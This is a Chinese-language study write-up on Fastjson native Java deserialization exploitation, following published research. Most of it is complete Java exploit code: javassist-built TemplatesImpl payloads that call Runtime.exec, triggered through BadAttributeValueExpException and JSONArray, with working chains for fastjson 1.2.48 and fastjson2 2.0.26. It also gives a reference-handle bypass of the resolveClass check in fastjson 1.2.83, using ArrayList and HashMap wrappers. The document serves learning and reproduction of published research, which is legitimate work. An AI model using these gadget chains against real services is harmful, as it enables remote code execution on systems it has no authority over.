看了fastjson的各版本链子,再看一下fastjson的原生反序列化,看的是y4师傅的两篇文章
https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/
来简单的学习复现一下
利用限制
Fastjson1版本小于等于1.2.48(不过1.2.49之后也有绕过方法,这里指的是直接用不需要绕过的)
Fastjson2<=2.0.26(我自己测试刚好在文章版本的下一个版本2.0.27开始就不行了)
找链子
要用原生反序列化,就需要寻找fastjson中继承了Serializable接口的类,fastjson里面有两个这样的类:JSONArray与JSONObject
这两个类的利用方式差不多,这里用JSONArray这个类
这两个本身是没有实现readObject方法的,所以是通过其他类的readObject来触发JSONArray与JSONObject中的某个方法来形成链子。
文章中的就是利用JSON的toString方法触发JSON的toJsonString的调用
这和JSONObject以及JSONArray有什么关系呢,我去看了源码,JSONArray和JSONObject是JSON的子类,他们本身是没有toString方法的,所以会调用到其父类JSON的toString方法
那为什么要触发toString呢,因为JSONObject和JSONArray在触发toString方法的时候会调用get方法,欸那就可以用来将我们的链子封装在里面来触发了
get触发例子
package org.clown.Own;
import com.alibaba.fastjson.*;
import java.util.ArrayList; import java.util.HashMap;
public class Student { private String name; private int age;
public Student() { System.out.println("Student构造函数"); }
public String getName() { System.out.println("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; }
public int getAge() { System.out.println("getAge"); return age; }
public void setAge(int age) { System.out.println("setAge"); this.age = age; }
public static void main(String[] args) {
HashMap<String,Object> hashMap=new HashMap<>(); hashMap.put("clown",new org.clown.Test1.Student()); JSONObject jsonObject = new JSONObject(hashMap); String string = jsonObject.toString(); System.out.println("-----------------------");
ArrayList<Object> arrayList=new ArrayList<>(); arrayList.add(new Student()); JSONArray objects = new JSONArray(arrayList); String string1 = objects.toString(); } }
|
至于为什么toString会调用getter方法就看文章的分析了解一下就好了
利用链构造
能触发getter方法就很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用
然后触发toString方法我们可以利用BadAttributeValueExpException来触发,该类在cc和rome链都有用到
那么链子我们就可以写出来了,这里用javassist动态生成恶意类
利用依赖
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.48</version> </dependency>
|
利用链
fastjson1的利用
package org.clown.Own;
import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class fastjson1 { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "clown"); setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
fastjson2利用
package org.clown.Own;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
import com.alibaba.fastjson2.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class fastjson2 { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "clown"); setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
JSONObject的利用也一样,就不再写一遍了
为什么fastjson1.2.49以后不再能利用
因为从1.2.49开始,JSONArray以及JSONObject方法开始有了自己的readObject方法
在其SecureObjectInputStream
类当中重写了resolveClass
,在其中调用了checkAutoType
方法做类的检查
所以后面就是我们如何进行绕过的问题了
fastjson1.2.49后绕过
他检查的逻辑是这样的,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream
处理时,触发resolveClass实现对恶意类的拦截
看起来很正常,但实际上他的反序列化的逻辑是不安全,他是不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过
ObjectInputStream -> readObject xxxxxx(省略中间过程) SecureObjectInputStream -> readObject -> resolveClass
|
安全的反序列化写法
我们正常的安全反序列化写法应该是这样的,生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的
TestInputStream -> readObject -> resolveClass
|
如何绕过
那我们的绕过思路就是如果在中间的空档期做一些手脚,让他不进入到resolveClass里面
关键在ObjectInputStream#readObject0里面,我们看一下
他会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
在不同的case中,大部分类都会最终调用readClassDesc
去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC
那么就会在readNonProxyDesc
中触发resolveClass
然后分支中,不会调用readClassDesc
的分支有TC_NULL
、TC_REFERENCE
、TC_STRING
、TC_LONGSTRING
、TC_EXCEPTION
,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关也没什么用,那么就只剩下Reference引用类型了。
引用类型利用
我们需要在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查
方法就是向List、set、map类型中添加同样对象时即可成功利用
原理分析
分析代码:
package org.clown.Own;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.ArrayList;
public class fastjson1Usual { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "clown"); setValue(templates, "_tfactory", null);
ArrayList<Object> arrayList=new ArrayList<>(); arrayList.add(templates); arrayList.add(templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(arrayList); } }
|
我们写入对象的时候会走到writeObject0这个方法
这里的注释翻译一下就是处理以前写入且不可替换的对象
然后走到ArrayList#writeObject
然后跟进去
这次传的是TemplatesImpl类,我们第一次写的时候他会在handles哈希表中建立映射
当我们再次写入的时候,他在查询的时候就不会返回-1
然后就可以进入到writeHandle方法里面
可以看到他将重复对象以引用类型写入,这样我们就可以绕过resolveClass的检查了
利用链构造
文章的简单利用代码思路
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("clac"); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray); arrayList.add(bd); WriteObjects(arrayList);
|
文章的思路解释:
序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
Set、Map类型也是这样的绕过
|
现在就可以写exp了,改成fastjson1.2.83版本来打
ArrayList的版本
package org.clown.Own;
import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.ArrayList;
public class fastjson1Usual { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "clown"); setValue(templates, "_tfactory", null);
ArrayList<Object> arrayList=new ArrayList<>(); arrayList.add(templates);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
arrayList.add(val);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(arrayList);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
这里一开始我自己写直接简单粗暴arraylist加了两次,然后把arraylist放JSONArray里,导致打不通,后来一想都放里面的话有一个会不是引用类型,导致他经过resolveClass之后会提前抛出异常,所以我们无论是List还是Map,都是要包裹在外面的,使其第一个类反序列化的时候不经过resolveClass
文章的HashMap的版本
package org.clown.Own;
import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class fastjson1Usual1 { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); }
public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap(); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); } }
|